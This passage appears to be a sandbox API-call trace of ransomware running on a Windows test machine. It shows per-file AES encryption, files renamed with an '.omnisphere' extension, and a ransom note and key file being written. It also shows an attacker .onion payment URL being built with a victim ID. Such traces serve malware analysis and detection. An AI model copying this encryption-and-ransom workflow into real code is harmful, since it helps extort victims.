Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.476] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.477] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.478] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.478] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0128.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x142f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.478] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.478] GetProcessHeap () returned 0x1600000 [0128.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x16fe1a8 [0128.478] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\28c8b86deab549a1.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\28c8b86deab549a1.customdestinations-ms.omnisphere")) returned 1 [0128.480] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms.omnisphere.id" [0128.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\28c8b86deab549a1.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.660] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.662] CloseHandle (hObject=0x388) returned 1 [0128.663] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.668] CloseHandle (hObject=0x3c0) returned 1 [0128.668] SetEndOfFile (hFile=0x288) returned 1 [0128.669] FlushFileBuffers (hFile=0x288) returned 1 [0128.676] CloseHandle (hObject=0x288) returned 1 [0128.676] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.676] GetProcessHeap () returned 0x1600000 [0128.676] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fe4b8 [0128.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.676] GetProcessHeap () returned 0x1600000 [0128.676] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdbe0 [0128.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdbe0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.677] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.677] GetProcessHeap () returned 0x1600000 [0128.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710300 [0128.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710300, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.677] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.677] GetProcessHeap () returned 0x1600000 [0128.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x1649080 [0128.677] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.677] GetProcessHeap () returned 0x1600000 [0128.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170f910 [0128.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.679] WriteFile (in: hFile=0x288, lpBuffer=0x170f910*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170f910*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.680] CloseHandle (hObject=0x288) returned 1 [0128.680] GetProcessHeap () returned 0x1600000 [0128.680] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fe4b8 | out: hHeap=0x1600000) returned 1 [0128.680] GetProcessHeap () returned 0x1600000 [0128.680] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.680] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.682] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.683] CloseHandle (hObject=0x288) returned 1 [0128.683] GetProcessHeap () returned 0x1600000 [0128.683] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.683] GetProcessHeap () returned 0x1600000 [0128.683] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.683] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3564a0f, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd3564a0f, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd3564a0f, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0xcc, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0128.684] GetProcessHeap () returned 0x1600000 [0128.684] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.684] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="590aee7bdd69b59b.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" [0128.684] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.685] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=5444) returned 1 [0128.685] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1020, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.685] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.689] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1544, lpName=0x0) returned 0x3c0 [0128.689] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.689] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.690] CloseHandle (hObject=0x3c0) returned 1 [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.690] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] GetTickCount () returned 0x11601ad [0128.691] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16682c8) returned 1 [0128.692] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639568) returned 1 [0128.692] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.692] CryptDestroyKey (hKey=0x1639568) returned 1 [0128.692] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0128.692] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1544, lpName=0x0) returned 0x3c0 [0128.692] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1544) returned 0x1480000 [0128.693] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668ce0) returned 1 [0128.694] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16397a8) returned 1 [0128.694] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 